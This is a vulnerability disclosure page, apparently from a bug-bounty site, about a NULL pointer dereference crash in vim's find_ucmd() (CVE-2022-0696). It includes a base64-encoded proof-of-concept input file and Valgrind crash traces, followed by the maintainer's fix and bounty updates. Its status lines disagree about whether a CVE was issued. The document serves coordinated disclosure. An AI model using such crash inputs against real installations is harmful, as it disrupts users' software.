NULL Pointer Dereference in vim/vim

Valid Reported on Feb 19th 2022

0

Description

Null pointer dereferencing occurs in find_ucmd().
commit : cdf717283ca70b18f20b8a2cefe7957083280c6f

Proof of Concept

```
$ echo -ne "dGFiZQpzaWwwbm9ybTBxL2cJOkkb" | base64 -d > poc

# Valgrind
$ ~/valgrind/vg-in-place -s ./src/vim-u NONE -i NONE -n -X -Z -e -m -s -S p
==1411416== Memcheck, a memory error detector
==1411416== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
==1411416== Using Valgrind-3.19.0.GIT and LibVEX; rerun with -h for copyrig
==1411416== Command: /home/alkyne/vim-debug/src/vim.debug -u NONE -i NONE -
==1411416==
==1411416== Invalid read of size 8
==1411416==    at 0x38D12E: find_ucmd (usercmd.c:146)
==1411416==    by 0x1D3B56: find_ex_command (ex_docmd.c:3765)
==1411416==    by 0x1CF93F: do_one_cmd (ex_docmd.c:1850)
==1411416==    by 0x1CE131: do_cmdline (ex_docmd.c:993)
==1411416==    by 0x2728B4: nv_colon (normal.c:3191)
==1411416==    by 0x26E9AC: normal_cmd (normal.c:930)
==1411416==    by 0x417AFE: main_loop (main.c:1509)
==1411416==    by 0x1E9B33: open_cmdwin (ex_getln.c:4424)
==1411416==    by 0x1E5797: getcmdline_int (ex_getln.c:1932)
==1411416==    by 0x1E4DA8: getcmdline (ex_getln.c:1571)
==1411416==    by 0x2746FC: nv_search (normal.c:4143)
==1411416==    by 0x26E9AC: normal_cmd (normal.c:930)
==1411416==  Address 0x8 is not stack'd, malloc'd or (recen
==1411416==
```

```
==1411416==
==1411416== Process terminating with default action of signal 11 (SIGSEGV):
==1411416==    at 0x4E2855B: kill (syscall-template.S:78)

==1411416==    by 0x29B508: may_core_dump (os_unix.c:3508)
==1411416==    by 0x29B4BC: mch_exit (os_unix.c:3474)
==1411416==    by 0x417EF8: getout (main.c:1719)
==1411416==    by 0x25D8CA: preserve_exit (misc1.c:2194)
==1411416==    by 0x298D03: deathtrap (os_unix.c:1154)
==1411416==    by 0x4E2820F: ??? (in /usr/lib/x86_64-linux-gnu/libc-2.31.so)
==1411416==    by 0x38D12D: find_ucmd (usercmd.c:146)
==1411416==    by 0x1D3B56: find_ex_command (ex_docmd.c:3765)
==1411416==    by 0x1CF93F: do_one_cmd (ex_docmd.c:1850)
==1411416==    by 0x1CE131: do_cmdline (ex_docmd.c:993)
==1411416==    by 0x2728B4: nv_colon (normal.c:3191)
==1411416==
==1411416== HEAP SUMMARY:
==1411416==     in use at exit: 178,937 bytes in 650 blocks
==1411416==   total heap usage: 1,350 allocs, 700 frees, 337,573 bytes allocated
==1411416==
==1411416== LEAK SUMMARY:
==1411416==    definitely lost: 3,696 bytes in 3 blocks
==1411416==    indirectly lost: 0 bytes in 0 blocks
==1411416==      possibly lost: 0 bytes in 0 blocks
==1411416==    still reachable: 175,241 bytes in 647 blocks
==1411416==         suppressed: 0 bytes in 0 blocks
==1411416== Rerun with --leak-check=full to see details of leaked memory
==1411416==
==1411416== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)
==1411416==
==1411416== 1 errors in context 1 of 1:
==1411416== Invalid read of size 8
==1411416==    at 0x38D12E: find_ucmd (usercmd.c:146)
==1411416==    by 0x1D3B56: find_ex_command (ex_docmd.c:3765)
==1411416==    by 0x1CF93F: do_one_cmd (ex_docmd.c:1850)
==1411416==    by 0x1CE131: do_cmdline (ex_docmd.c:993)
==1411416==    by 0x2728B4: nv_colon (normal.c:3191)
==1411416==    by 0x26E9AC: normal_cmd (normal.c:930)
==1411416==    by 0x417AFE: main_loop (main.c:1509)
==1411416==    by 0x1E9B33: open_cmdwin (ex_getln.c:4424)
==1411416==    by 0x1E5797: getcmdline_int (ex_getln.c:1932)
```

```
==1411416==    by 0x1E4DA8: getcmdline (ex_getln.c:1571)
==1411416==    by 0x2746FC: nv_search (normal.c:4143)
==1411416==    by 0x26E9AC: normal_cmd (normal.c:930)

==1411416==  Address 0x8 is not stack'd, malloc'd or (recently) free'd
==1411416==
==1411416== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)
Segmentation fault
```

Occurrences

C usercmd.c L146

CVE
CVE-2022-0696
(Published)

Vulnerability Type
CWE-476: NULL Pointer Dereference

Severity
Medium (6.2)

Visibility
Public

Status
Fixed

Found by

alkyne Choi
@alkyne
unranked

Fixed by

Bram Moolenaar
@brammool
maintainer

This report was seen 874 times.

We are processing your report and will contact the **vim** team within 24 hours. 9 months ago

We have contacted a member of the **vim** team and are waiting to hear back 9 months ago

Bram Moolenaar validated this vulnerability 9 months ago

alkyne Choi has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

Bram Moolenaar 9 months ago Maintainer

Thanks for a nice short POC. One remark: the zero characters before and after "norm" can be replaced by spaces, that makes it a bit more readable.

Bram Moolenaar marked this as fixed in **8.2** with commit **0f6e28** 9 months ago

Bram Moolenaar has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✘

usercmd.c#L146 has been validated ✔

Sign in to join this conversation